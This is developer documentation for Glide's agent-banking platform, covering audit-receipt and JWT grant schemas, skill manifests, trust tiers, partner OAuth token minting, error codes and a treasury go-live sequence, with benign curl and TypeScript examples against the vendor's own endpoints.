After every successful MCP tool call, the gateway writes a `Receipt` row to the `activity_log` table. The append-only Postgres trigger (F4 IRON RULE) prevents tampering: UPDATE/DELETE/TRUNCATE rejected unless the admin DSAR session var is set.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/receipt.json`](https://glide.co/schemas/agent-banking/v1/receipt.json)
## Required fields
| Field | Type | Meaning |
| ----------------- | --------------------------------- | ---------------------------------------------------------------------- |
| `eventType` | `string` | `tool_call`, `step_up_completed`, `policy_change`, `kill_switch`, etc. |
| `timestamp` | `string` (ISO 8601) | UTC instant. |
| `agentId` | `string` | Acting agent (matches grant's `act.sub`). |
| `principalUserId` | `string` | Principal user (matches grant's `sub`). |
| `vaultId` | `string` | Resource vault (matches grant's `aud.vault_id`). |
| `toolName` | `string` | Which tool was called (e.g. `x402.pay`, `payments.initiate`). |
| `endpoint` | `'read' \| 'write' \| 'treasury'` | Confused-deputy isolation tier. |
| `inputDigest` | `string` (hex) | SHA-256 of the redacted input. |
| `outputDigest` | `string` (hex) | SHA-256 of the redacted output. |
| `riskVerdict` | `'pass' \| 'flag' \| 'block'` | Anomaly detector verdict. |
| `policyVersion` | `number` | Envelope version at call time. |
| `grantId` | `string` | The grant's `jti`. |
| `latencyMs` | `number` | End-to-end tool latency. |
## Optional fields
| Field | Type | When populated |
| ---------------------- | -------------------- | ---------------------------------------------------------------- |
| `onChainTxHash` | `string` | Money-movement tools after F1 RPC verify settles. |
| `onChainAmount` | `number` (USD cents) | Same. From `serverFetchChainTx`, never from facilitator receipt. |
| `stepUpSigil` | `string` | Step-up tools after the principal's biometric approval. |
| `redactedFieldsBitmap` | `number` | Bit-flags for fields redacted via DSAR (F4). |
## F-rule enforcement points
| Rule | What's enforced on the Receipt |
| ------ | ---------------------------------------------------------------------------------------------------------------- |
| **F1** | `onChainTxHash` + `onChainAmount` come from RPC, not facilitator. |
| **F4** | The row is append-only by Postgres trigger. Admin redaction requires session var + `redactedFieldsBitmap` match. |
| **F5** | `policyVersion` mismatch with current envelope blocks the row write. |
## Replay rendering
DSAR redaction does NOT delete the row. It nulls specific fields + sets `redactedFieldsBitmap`. The replay UI renders the row with `[REDACTED]` watermark over redacted fields — historical existence preserved.
## Example
```json theme={null}
{
"eventType": "tool_call",
"timestamp": "2026-04-25T18:23:45.123Z",
"agentId": "agent_01H8...",
"principalUserId": "user_01H7...",
"vaultId": "vault_01HA...",
"toolName": "x402.pay",
"endpoint": "write",
"inputDigest": "abc123...",
"outputDigest": "def456...",
"riskVerdict": "pass",
"policyVersion": 7,
"grantId": "grant_01HC...",
"latencyMs": 142,
"onChainTxHash": "0xdeadbeef...",
"onChainAmount": 50
}
```
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F1 (RPC verify) + F4 (append-only).
* [Threat model](/oss/security/threat-model) — T4 (audit-log tampering) + T11 (DSAR loophole).
# ScopedGrantClaims (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/scoped-grant-claims
JWT claims for the OAuth bearer grant. RFC 8707 resource-indicator-bound to a single vault + entity. Max TTL 60 minutes.
`ScopedGrantClaims` is the JWT payload the OAuth Authorization Server (Ory Hydra in production; HMAC-SHA256 in development) issues to MCP clients after a successful `client_credentials` or authorization-code exchange. Every MCP tool call carries one of these grants as a Bearer token. The `@glideco/grant-wrapper` package re-validates the grant on every invocation — a cached token alone never authorizes.
The relationship to [`Grant`](/oss/standards/grant): `Grant` is the human-facing doc page that maps the JWT fields to their semantic meaning for agent developers. `ScopedGrantClaims` is the machine-readable JSON Schema document that partner verification tooling and token-introspection endpoints validate against. The two describe the same wire format; this page is the canonical schema reference.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json`](https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json)
## Required fields
| Field | Type | Notes |
| ---------------- | ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sub` | `uuidV4` | RFC 7519 §4.1.2 subject — the human principal who owns the vault and authorized this grant. |
| `act` | `{ sub: uuidV4 }` | RFC 8693 §4.1 actor claim. `act.sub` is the `agent_principal_id`. Glide always sets this; missing actor is denied at the verifier. |
| `azp` | `string` (1–128 chars, `[a-zA-Z0-9._:-]`) | Authorized party — the registered MCP `client_id` (e.g. `claude-desktop-prod`). Write tools refuse clients not on the registry. |
| `aud` | `{ vault_id: uuidV4, entity_id: uuidV4 }` | RFC 8707 resource indicator in object form. Both `vault_id` AND `entity_id` must match the resource being acted on. Verifiers MUST check both — checking only `vault_id` is insufficient. |
| `scope` | `agentScope[]` (min 1, unique) | RFC 6749 §3.3 scope set. Closed vocabulary from `_types.json#/$defs/agentScope`. Adding a scope value is CODEOWNERS-protected. Wildcard scopes (`treasury:*`) deferred to v1.5. |
| `policy_version` | `nonNegativeInt` | Policy version at issuance. Policy engine re-checks this against `(vault_id, policy_version)` on each call; mismatch triggers one retry then denies (`PolicyStaleError`). |
| `iat` | `unixSecondsPositive` | RFC 7519 §4.1.6 issued-at, Unix epoch seconds. MUST be `<= nbf <= exp`. |
| `nbf` | `unixSecondsPositive` | RFC 7519 §4.1.5 not-before. Transactions attempted before this fail-closed. |
| `exp` | `unixSecondsPositive` | RFC 7519 §4.1.4 expiry. Server enforces `exp - iat <= 3600` (60-minute TTL cap). Longer-running tasks use the keepalive pattern (Inngest job renews every \~30 min while in-flight). |
| `jti` | `uuidV4` | RFC 7519 §4.1.7 JWT ID. Equals the grant row's primary key in the `grants` table; used for revocation lookup. |
## Optional fields
| Field | Type | Notes |
| ---------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `iss` | `string` (https URI, max 256 chars) | RFC 7519 §4.1.1 issuer. Identifies Glide's AS (e.g. `https://glide.co`). Optional at v1 for backward compat with the original `/draft/` shape; SHOULD be set on all newly-issued grants. |
| `resource` | `string[]` (https URIs, 1–8 items) | RFC 8707 resource indicators in canonical URI form. Optional — Glide derives the canonical URI from `aud.vault_id` + `aud.entity_id`. New code MAY emit this for OAuth-tooling compatibility. |
## Validation contract
`@glideco/grant-wrapper` re-validates every grant on every tool invocation in this order:
1. **JWT signature** — verified against the AS's JWKS (production) or HMAC-SHA256 secret (development; set `MCP_TOKEN_VERIFIER_DEV_SECRET`).
2. **`exp` not in the past** — bearer expiry check.
3. **`exp - iat <= 3600`** — max TTL enforcement. Grants issued for longer than 60 min are rejected even if the signature is valid.
4. **`aud.vault_id` + `aud.entity_id` present and match the resource on the request** — RFC 8707 enforcement. Both fields must match; one-sided match is denied.
5. **`act.sub` corresponds to a registered agent** — DB lookup; stale or revoked agent principals are denied.
6. **F3 IRON RULE — fresh-read tenant verification.** Re-reads the principal's tenant from DB. The cached token alone never authorizes.
7. **`policy_version` matches the current envelope** — mismatch raises `PolicyStaleError` (F5).
## Example
```ts theme={null}
import { grantClaimsSchema } from '@glideco/schemas';
const claims = grantClaimsSchema.parse({
iss: 'https://glide.co',
sub: '11111111-1111-4111-8111-111111111111',
act: { sub: '22222222-2222-4222-8222-222222222222' },
azp: 'claude-desktop-prod',
aud: {
vault_id: '33333333-3333-4333-8333-333333333333',
entity_id: '44444444-4444-4444-8444-444444444444',
},
scope: ['accounts:read', 'payments:initiate'],
policy_version: 7,
iat: 1746355200,
nbf: 1746355200,
exp: 1746358800, // iat + 3600 — exactly at the 60-min cap
jti: '55555555-5555-4555-8555-555555555555',
});
```
To enforce the 60-min TTL in server-side issue flow, use the stricter `grantClaimsValidatedSchema`:
```ts theme={null}
import { grantClaimsValidatedSchema } from '@glideco/schemas';
// This will throw ZodError if exp - iat > 3600.
const validated = grantClaimsValidatedSchema.parse(rawClaims);
```
## Validating against the schema
Three paths:
1. **At grant-issue time** via `grantClaimsValidatedSchema.parse(claims)` in the OAuth AS route. Issues that fail parse are rejected before the JWT is signed.
2. **At tool-invocation time** by `@glideco/grant-wrapper` — validates the decoded JWT payload before any tool handler runs.
3. **Against the JSON Schema document** for partner verification tooling:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json \
-d ./my-grant.json
```
## Common pitfalls
* **Checking only `aud.vault_id` and ignoring `aud.entity_id`.** A grant scoped to vault A within entity X is invalid against vault A re-assigned to entity Y. Both fields must match on every call.
* **Issuing grants with TTL > 3600.** `grantClaimsSchema` accepts longer-lived claims (it's a structural schema); only `grantClaimsValidatedSchema` enforces the 60-min cap. The AS always uses the validated schema — custom AS implementations MUST replicate this check.
* **Treating `iss` as required for backward compat.** The `iss` field is optional at v1 so existing `/draft/` consumers keep working. New AS implementations SHOULD set it.
* **Using `scope` as a string.** The Zod schema for `scope` is `string[]` (an array); the JSON Schema also defines it as an array. Some OAuth libraries serialize scope as a space-separated string. Parse the JWT payload before validating — decode-then-parse, not validate-raw-JWT-bytes.
* **Using `resource` instead of `aud` for resource binding.** The `resource` array is an optional RFC 8707 compatibility aid. Glide's verifier derives canonical URIs from `aud.vault_id` + `aud.entity_id`, not from `resource`. Verifiers that only check `resource` leave tenant isolation unenforced.
## Reading list
* [OAuth flow](/oss/headless/oauth-flow) — the full `client_credentials` → JWT → JWKS verify walkthrough.
* [Grant](/oss/standards/grant) — developer-facing explanation of what each claim means at runtime.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — what `policy_version` references.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F3 + F5 IRON RULES the verifier enforces.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/scoped-grant-claims.json)
# SkillManifest (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/skill-manifest
Schema for agent skill packages at packages/skills//. Defines runtime compat, required scopes, policy template, consent summary, trust tier.
The OSS agent-skill manifest. Every package at `packages/skills//` ships one of these as `src/manifest.ts`.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/skill-manifest.json`](https://glide.co/schemas/agent-banking/v1/skill-manifest.json)
## Required fields
| Field | Type | Notes |
| -------------------- | --------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locked. |
| `slug` | `string` (lowercase kebab-case) | Package directory name. |
| `displayName` | `string` | Catalog display name. |
| `tagline` | `string` | One-sentence pitch. |
| `longDescription` | `string` | Multi-paragraph description rendered in the install consent flow. |
| `category` | `'ap' \| 'treasury' \| 'consumer' \| 'payroll' \| 'x402'` | Catalog filter. |
| `runtimeCompat` | `Runtime[]` | `claude-desktop` / `chatgpt-apps` / `vertex` / `openclaw` / `hermes`. |
| `requiredScopes` | `Scope[]` | Closed-vocab MCP scopes the skill calls. |
| `policyTemplate` | `SkillPolicyTemplate` | Per-skill envelope defaults. Strict subset of `AgentPolicyEnvelope`. |
| `consentSummary` | `string` | Plain-English copy surfaced at install. **Must mention payments / money / cards / `$` / usd if `requiredScopes` includes a money-touching scope.** |
| `trust` | `'community' \| 'verified' \| 'core'` | Trust tier. |
| `publisher` | `string` | Maintainer org or individual. |
| `iconPath` | `string` (defaults `./icon.svg`) | Relative path. |
| `packageVersion` | `string` | Semver. |
| `blockingDependency` | `string \| null` | Free-text label. `null` = unblocked. Non-null = catalog renders "wait for V3" instead of "install now". |
| `homepageUrl` | `string` (URL, optional) | |
| `changelogUrl` | `string` (URL, optional) | |
## Closed vocabularies
Adding to any of these requires `@glideco/policy-engine` to understand the same vocabulary — CODEOWNERS-protected change.
### `SkillScope`
```
accounts:read
agents:read
audit:stream
beneficiary:write
cards:manage
payments:initiate
payments:simulate
treasury:yield-allocate
x402:pay
x402:receive
```
### `SkillRuntime`
```
claude-desktop
chatgpt-apps
vertex
openclaw
hermes
```
### `SkillCategory`
```
ap
treasury
consumer
payroll
x402
```
## Consent under-disclosure guard
The `SkillContractTestSuite` enforces a soft guard: if `requiredScopes` includes any of `payments:initiate`, `cards:manage`, or `x402:pay`, the `consentSummary` MUST mention payments / money / cards / `$` / usd. Soft guard against community-tier skills that under-disclose at the install consent step.
The contract test catches the obvious cases. Reviewers catch subtler ones during the verified-tier promotion review (e.g. consent copy that mentions money but lies about caps).
## Example
```ts theme={null}
import { SkillManifest } from '@glideco/skills-base';
export const manifest = SkillManifest.parse({
schemaVersion: 'v1',
slug: 'ap-agent-claude-quickbooks',
displayName: 'AP Agent (Claude + QuickBooks)',
tagline: 'Let Claude draft vendor payments from QBO invoices.',
longDescription: '...',
category: 'ap',
runtimeCompat: ['claude-desktop'],
requiredScopes: [
'accounts:read',
'payments:initiate',
'payments:simulate',
'beneficiary:write',
'audit:stream',
],
policyTemplate: {
perTxMaxUsdCents: 250_000,
dailyCapUsdCents: 1_000_000,
counterpartyAllowlist: [],
velocityCap: { windowMinutes: 60, maxCount: 20 },
},
consentSummary: 'Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.',
trust: 'core',
publisher: 'Glide',
packageVersion: '0.1.0',
blockingDependency: 'V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay)',
});
```
## Reading list
* [Authoring a skill](/oss/skills/authoring) — partner-PR flow.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — the full envelope a skill template constrains.
* [Skill catalog](/oss/skills/index) — every skill currently in the repo.
# TrustTier (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/trust-tier
Quality-based trust tier for connectors and agent skills. Community / verified / core.
Glide's connector + skill ecosystem uses a three-tier trust ladder. **Trust is quality-based, not licensing-based** — every package ships under MIT regardless of tier.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/trust-tier.json`](https://glide.co/schemas/agent-banking/v1/trust-tier.json)
## The three tiers
| Tier | When | Off-by-default? | Agreement acceptance? |
| ----------- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ----------------------------- |
| `community` | Any first PR | Yes — `GLIDE_ALLOW_COMMUNITY_CONNECTORS=true` + red admin banner | No |
| `verified` | Reviewed against checklist + accepted Trusted Partner Agreement (connectors) or Trusted Skill Agreement (skills) | No — ships enabled with per-tenant opt-in | Yes |
| `core` | Glide-maintained reference implementations | No — ships enabled | N/A (Glide is the maintainer) |
## How tiers work in practice
### `community`
The default for any first PR submission. The connector or skill is in the repo + the catalog renders it, but operators must explicitly opt in via env. Useful for experimentation, PoC integrations, or high-uncertainty vendor integrations.
The red admin banner is **not optional** — the connector / skill operates with materially less review than higher tiers, and self-hosters should know that.
### `verified`
Promotion requires:
* A separate PR that bumps `trust: community` → `trust: verified`.
* Acceptance under §0 of the [Trusted Partner Agreement](/oss/legal/trusted-partner-agreement) or [Trusted Skill Agreement](/oss/legal/trusted-skill-agreement). A countersigned copy is optional.
* CODEOWNERS approval from `@darshanbathija` (and, when the team grows, `@glide/core`).
* Compliance + counsel review (the verified-tier 8-gate CI matrix runs additional checks).
Verified-tier connectors / skills get marketplace placement at `glide.co/marketplace` with the Verified badge. Operators enable them per-tenant; opt-in is one-click.
### `core`
Glide maintains the reference implementation. Operators can rely on us for security patches, breaking-change migrations, and feature parity with Glide Cloud.
`core` is **not** "more trustworthy" in an absolute sense. A `verified` connector authored by a regulated partner with deep vendor expertise is often a better fit for a corridor than the `core` reference adapter.
## Tier promotion as a separate PR
The `trust:` field is CODEOWNERS-protected. Bumping it requires its own PR — never silent in a feature-add PR. This protects against:
* Self-promotion attacks (a partner writes a connector at `community`, then sneaks `trust: verified` into a follow-up "minor fix" PR).
* Stale Trusted Partner Agreements (review the applicable agreement version on every promotion PR).
* Tier-promotion review missing the compliance pass (separate PR = separate review SLA = separate counsel touch).
## Review SLA
* Community-tier: 5 business days from PR submission.
* Verified-tier promotion: 10 business days (includes agreement review).
## Reading list
* [Adding a connector](/oss/connectors/extending) — partner-PR flow.
* [Authoring a skill](/oss/skills/authoring) — same flow for skills.
* [License compatibility](/oss/security/license-compatibility) — how tier interacts with dependency licenses.
# Authentication
Source: https://glide-9da73dea.mintlify.app/partners/authentication
Exchange client credentials for a one-hour ES256 bearer token at /api/partner/oauth/token, then send it on every partner request.
Glide issues native `client_credentials` JWTs. There is no authorization server to configure, no dynamic registration, and no static bearer token.
## Get your credentials
A Glide admin creates your partner record and returns `client_id` and `client_secret` **once**. Client IDs look like `gpc__<8 hex>` and secrets like `gps_` followed by 32 random bytes in base64url. Both contain only URL-safe characters.
Store the secret in your server secret manager. Glide stores only a salted scrypt hash and can never show it to you again. If you lose it, ask Glide to rotate the secret.
## Mint a token
`POST https://glide.co/api/partner/oauth/token`
Send `Content-Type: application/x-www-form-urlencoded` with a required `grant_type=client_credentials` and an optional space-separated `scope`. Authenticate with HTTP Basic: form-encode each credential, then base64-encode `client_id:client_secret` per RFC 6749 section 2.3.1.
```bash curl theme={null}
curl --request POST https://glide.co/api/partner/oauth/token \
--user "$GLIDE_CLIENT_ID:$GLIDE_CLIENT_SECRET" \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=kyc:read wallet:read'
```
```ts TypeScript theme={null}
const basic = Buffer.from(
`${encodeURIComponent(process.env.GLIDE_CLIENT_ID!)}:${encodeURIComponent(
process.env.GLIDE_CLIENT_SECRET!
)}`
).toString('base64');
const res = await fetch('https://glide.co/api/partner/oauth/token', {
method: 'POST',
headers: {
Authorization: `Basic ${basic}`,
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
grant_type: 'client_credentials',
scope: 'kyc:read wallet:read',
}),
});
const token = await res.json();
console.log(token.access_token, token.expires_in, token.scope);
```
You may instead send `client_id` and `client_secret` as form fields. Do not do both. Combining the two authentication methods, or repeating any parameter, returns `invalid_request`. Form bodies are limited to 4096 bytes.
Response:
```json theme={null}
{
"access_token": "",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "kyc:read wallet:read"
}
```
Every token response carries `Cache-Control: no-store` and `Pragma: no-cache`.
## Use the token
Send `Authorization: Bearer ` on every resource request.
```bash theme={null}
curl --request GET \
"https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/kyc" \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN"
```
## Cache the token
Tokens live exactly one hour. Minting one per request will hit the 30 per minute issuance limit and waste latency on every call. Cache the token in process and refresh it shortly before expiry.
```ts theme={null}
type Cached = { token: string; expiresAt: number };
let cached: Cached | null = null;
export async function getAccessToken(): Promise {
const now = Date.now();
if (cached && now < cached.expiresAt) return cached.token;
const basic = Buffer.from(
`${encodeURIComponent(process.env.GLIDE_CLIENT_ID!)}:${encodeURIComponent(
process.env.GLIDE_CLIENT_SECRET!
)}`
).toString('base64');
const res = await fetch('https://glide.co/api/partner/oauth/token', {
method: 'POST',
headers: {
Authorization: `Basic ${basic}`,
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({ grant_type: 'client_credentials' }),
});
if (!res.ok) throw new Error(`glide token ${res.status}: ${await res.text()}`);
const body = (await res.json()) as { access_token: string; expires_in: number };
// Refresh 60 seconds early so an in-flight request never carries a dead token.
cached = {
token: body.access_token,
expiresAt: Date.now() + (body.expires_in - 60) * 1000,
};
return cached.token;
}
```
Treat a single `401 invalid_token` as a signal to drop the cache and mint once more. Do not loop. If the second attempt also fails, the credentials or the client status is the problem, not the cache.
Rotating your secret changes your cache key. Clear the cached token when you deploy a new secret.
## Token claims
Partner tokens share the agent issuer's ES256 signing key and issuer, published at `/.well-known/agent-jwks.json`. You do not need to verify them yourself, but the claims are stable if you want to inspect them.
| Claim | Value |
| ------------ | ------------------------------------- |
| `iss` | `https://glide.co` by default |
| `aud` | `partner.glide.co` |
| `typ` header | `at+jwt` |
| `sub` | your `client_id` |
| `client_id` | your `client_id`, matching `sub` |
| `scope` | space-separated granted scopes |
| `jti` | UUID |
| `iat`, `nbf` | issue time, with `nbf` equal to `iat` |
| `exp` | `iat` plus 3600 |
Glide verifies locally with JOSE against its configured public JWK. Verification permits only ES256, checks issuer, audience and type, enforces the one-hour maximum lifetime, and allows 30 seconds of clock skew. Missing or malformed key configuration returns `503 auth_unavailable` on the resource API. Invalid tokens return `401 invalid_token`.
## Scopes
Two different things are called scopes, and both must line up.
**Token entitlements** are what your client may request. They are recorded on your partner record. They default to the five consent scopes, and an admin can additionally authorize `treasury:write`.
**User consent scopes** are what an individual user approved for you. See [Users and consent](/partners/users-and-consent).
| Scope | Kind | Grants |
| ----------------- | ---------- | -------------------------------------------------------------- |
| `kyc:read` | consent | Verification status, and requesting a hosted verification link |
| `wallet:read` | consent | EVM and Solana public addresses |
| `us_account:read` | consent | Provisioned personal USD receiving details |
| `transfers:read` | consent | Personal ledger history and settlement or failure events |
| `payouts:receive` | consent | Permission to receive your payouts |
| `treasury:write` | token only | Push batch payouts from your treasury |
Omitting `scope` on the token request asks for all of your current entitlements. An explicit `scope` must be a subset of them, otherwise you get `invalid_scope`. Empty entitlements produce an empty scope string.
`treasury:write` is a token permission only. It never appears in a user grant or in consent copy, and it never substitutes for the user's `payouts:receive` consent. Holding a token entitlement grants you nothing about any user.
Admin entitlement changes apply to newly issued tokens. Claims inside an already-issued JWT stay as they were until it expires.
## Rotation and suspension
Ask Glide to rotate your client secret when you suspect exposure or on a schedule you set. Rotation replaces the stored hash immediately and keeps your `client_id` unchanged. The old secret can no longer mint tokens, but JWTs already issued stay valid until they expire, subject to the verifier's clock tolerance.
To cut off access right now, ask Glide to suspend the partner. Suspension disables resource access and webhook delivery immediately.
Token issuance holds a lock on your partner row through verification and signing, so a concurrent rotation, entitlement change or suspension is ordered against issuance rather than racing it.
## Rate limits and errors
Token issuance allows 30 requests per minute per registered client. Wrong-secret and suspended-client attempts count against the same budget. Unknown clients perform the same scrypt derivation against a dummy hash, so timing does not reveal whether a client exists.
Token errors use the OAuth JSON envelope, which is different from the resource API envelope:
```json theme={null}
{ "error": "invalid_client" }
```
| HTTP | Error | Meaning |
| ---- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| 400 | `invalid_request` | Malformed body, both auth methods used, or a repeated parameter |
| 400 | `unsupported_grant_type` | `grant_type` was not `client_credentials` |
| 400 | `invalid_scope` | Requested scope is not a subset of your entitlements |
| 401 | `invalid_client` | Unknown client or wrong secret, with `WWW-Authenticate: Basic realm="glide-partner"`. Both cases return identical bodies |
| 403 | `invalid_client` | Valid credentials on a suspended or pending client |
| 429 | `rate_limited` | Over 30 per minute, with `Retry-After: 60` |
| 503 | `temporarily_unavailable` | Signing or audit persistence is unavailable. Retry |
A 503 here means Glide withheld the token rather than issue one it could not audit. Retry with backoff.
# Errors
Source: https://glide-9da73dea.mintlify.app/partners/errors
Every error the token endpoint, the resource API and the treasury endpoint return, what causes it, and what to do next.
There are two error envelopes. The token endpoint uses the OAuth shape. Everything else uses the resource shape.
## Token errors
`POST /api/partner/oauth/token` returns a flat OAuth error:
```json theme={null}
{ "error": "invalid_client" }
```
| HTTP | Error | Cause | What to do |
| ---- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------- |
| 400 | `invalid_request` | Malformed form body, both HTTP Basic and form credentials sent, or a repeated parameter | Send credentials one way only |
| 400 | `unsupported_grant_type` | `grant_type` is not `client_credentials` | Fix the parameter |
| 400 | `invalid_scope` | Requested scope is not a subset of your entitlements | Drop the extra scopes, or ask Glide to widen your entitlements |
| 401 | `invalid_client` | Unknown client or wrong secret. `WWW-Authenticate: Basic realm="glide-partner"` is set, and both cases return identical bodies | Check the credentials. Ask Glide to rotate if the secret is lost |
| 403 | `invalid_client` | Valid credentials on a suspended or pending client | Contact Glide. Retrying will not help |
| 429 | `rate_limited` | Over 30 issuances a minute, including failed attempts. `Retry-After: 60` | Cache your token. See [Authentication](/partners/authentication) |
| 503 | `temporarily_unavailable` | Signing or audit persistence is unavailable, so Glide withheld the token | Retry with backoff |
## Resource errors
Every other endpoint returns:
```json theme={null}
{
"error": {
"code": "grant_required",
"message": "An active user grant and token scope are required",
"request_id": "33333333-3333-4333-8333-333333333333"
}
}
```
`request_id` matches the `X-Request-Id` response header and the audit row for the call. Log it. It is the fastest way for Glide support to find what happened.
| HTTP | Code | Cause | What to do |
| ---- | ----------------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- |
| 400 | `invalid_request` | Failed schema validation, an unknown body field, or a bad query parameter | Validate against the contract before sending |
| 400 | `invalid_json` | The body is not parseable JSON | Check serialization and `Content-Type` |
| 400 | `invalid_cursor` | The `cursor` is malformed or no longer valid | Restart paging from your saved `since` watermark |
| 401 | `invalid_token` | Missing, expired or unverifiable bearer. `WWW-Authenticate: Bearer` is set | Drop the cached token and mint once. Do not loop |
| 403 | `grant_required` | The user's grant is absent, revoked or too narrow, or your token lacks the scope | Send the user back through consent, or ask Glide to widen your entitlements |
| 403 | `partner_inactive` | Your partner record is suspended | Contact Glide |
| 403 | `user_inactive` | The user's account is not active | Stop paying that user until it is resolved |
| 404 | `user_not_found` | No pre-creation receipt and no grant for your partner, including an id that belongs only to another partner | Pre-create the user, or check the id |
| 409 | `kyc_provider_conflict` | The user already has verification with a different provider | Do not retry. Partners cannot switch a user's provider |
| 413 | `body_too_large` | Over 4096 bytes on pre-create, or over 64 KiB on a treasury batch | Split the request |
| 429 | `rate_limited` | Over the per-operation limit. `Retry-After: 60` | Back off for the full window |
| 500 | `internal_error` | Unhandled server error | Retry idempotent calls with the same ids |
| 503 | `auth_unavailable` | Glide's token verification key configuration is missing or malformed | Retry with backoff and alert Glide if it persists |
| 503 | `audit_unavailable` | Glide could not persist the audit record | Retry. A read is withheld rather than served unaudited |
| 503 | `provider_unavailable` | An upstream provider is unusable, including a rejected sandbox verification URL | Retry with backoff |
A 503 from `audit_unavailable` after a successful pre-create is safe to retry. Pre-creation is idempotent per partner and email, so the retry returns the same `user_id` and the same `created` value.
## Treasury errors
The treasury batch endpoint uses the same envelope with additional codes.
| HTTP | Code | Cause | What to do |
| ---- | ------------------------- | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------- |
| 403 | `treasury_inactive` | The treasury is suspended or disabled, or its mandate expired | Ask Glide to reactivate, then retry the same execution ids |
| 403 | `payer_not_allowed` | `payer_entity_id` does not match your binding | Fix your configured payer id. Do not guess another |
| 403 | `policy_denied` | A configured cap or the step-up amount was exceeded | Reduce the batch, or ask Glide to raise the cap. No token bypasses this |
| 404 | `treasury_not_configured` | No treasury is bound to your partner | Complete binding and funding with Glide |
| 409 | `insufficient_funds` | The available treasury balance is below the new total | Fund the reserve, have Glide record it, then retry the same ids |
| 409 | `idempotency_conflict` | The same `Idempotency-Key` was reused with a different request, including a different item order | Investigate the original batch. Do not change the ids to force it through |
| 409 | `execution_conflict` | A reused `execution_id` changed its recipient, payer, `payout_id`, amount, currency or reference | Investigate. No item in the batch executed |
Cap errors name the limit they violated. They deliberately do not reveal how much allowance remains.
## Retry rules that matter for money
A timeout, a dropped connection, a 5xx or an unparseable response from the treasury endpoint is **unconfirmed**, not failed. Retry the identical body with the identical `Idempotency-Key`. Never mark the payout failed and never mint replacement execution ids on an unconfirmed outcome.
| Outcome | Safe to retry with the same ids | Notes |
| ---------------------------------------------------------- | -------------------------------------------- | ------------------------------------------------------ |
| Timeout or connection loss | Yes | A replayed 200 returns the original body |
| 500, 503 | Yes | Same key, same payload |
| 429 | Yes, after `Retry-After` | Nothing executed |
| 400, 413 | No, fix the request first | Nothing executed and no ids were consumed |
| 403 `policy_denied`, `treasury_inactive`, `grant_required` | Yes, after the underlying condition is fixed | Nothing executed |
| 409 `insufficient_funds` | Yes, after funding is recorded | Nothing executed |
| 409 `idempotency_conflict`, `execution_conflict` | No, investigate first | Signals a bug in your id handling or a mutated request |
A validation, policy or funds rejection is audited and consumes no execution ids, so your obligations stay payable once the cause is fixed.
# Go live
Source: https://glide-9da73dea.mintlify.app/partners/go-live
The activation sequence for a partner treasury: credentials, entity and mandate, binding, funding, consent, webhooks, a live canary batch, then activation.
Activation is deliberately ordered. Each step depends on the one before it, and Glide activates the treasury last, after the money path has been proven end to end with real funds.
Steps marked **Glide** are operator actions. Ask Glide to perform them. Steps marked **You** are yours.
## 1. Get authenticated
**Glide** creates your partner record and returns `client_id` and `client_secret` once. **Glide** enables the `treasury:write` token entitlement for your client, leaving the five consent scopes unchanged.
**You** mint a token and verify it works against a read endpoint. Confirm the returned `scope` string contains what you expect.
## 2. Settle the legal and funding shape
**Glide and you** confirm the custody and redemption mandate, then identify the funded reserve account and what will count as settlement evidence.
**You** create the actual business entity through the normal owner flow, with its real verification status. Binding does not create a business, approve it, or supply funds.
## 3. Bind the treasury
**Glide** binds your partner to the entity, the entity-scoped USD balance, your external payer UUID and the reserve account, and sets the caps and mandate expiry you approved.
Binding identity and reserve provenance are immutable once set. The balance is created empty, in `disabled` status. Existing non-zero funds are never silently adopted.
**You** record the payer UUID in your configuration. Your client should refuse to send a batch whose `payer_entity_id` differs from it, so a misconfiguration fails locally instead of at Glide.
## 4. Fund and record it
**You** settle real USD into the bound reserve account.
**Glide** inspects the settlement evidence and records the funding, which credits the USD balance and writes an immutable receipt. Funding is an operator attestation of already-settled money, not a deposit API.
Funds are never moved into the treasury from another spendable Glide account as if they were external funding, and personal receiving details are never treasury funding instructions. Corrections require an explicit accounting operation, because funding receipts cannot be edited.
## 5. Onboard users and collect consent
**You** pre-create each recipient by email and distribute the claim link.
**Users** sign in with that email, claim the account, and approve the scopes. To be paid, a user needs both `payouts:receive` and `transfers:read`, plus an active account.
**You** confirm readiness by reading each user back before including them in a batch. A 404 means no receipt or grant, and a 403 `grant_required` means the consent is missing or too narrow.
## 6. Wire up webhooks
**Glide** adds your exact URL to the allowlist, configures the endpoint and returns its secret once.
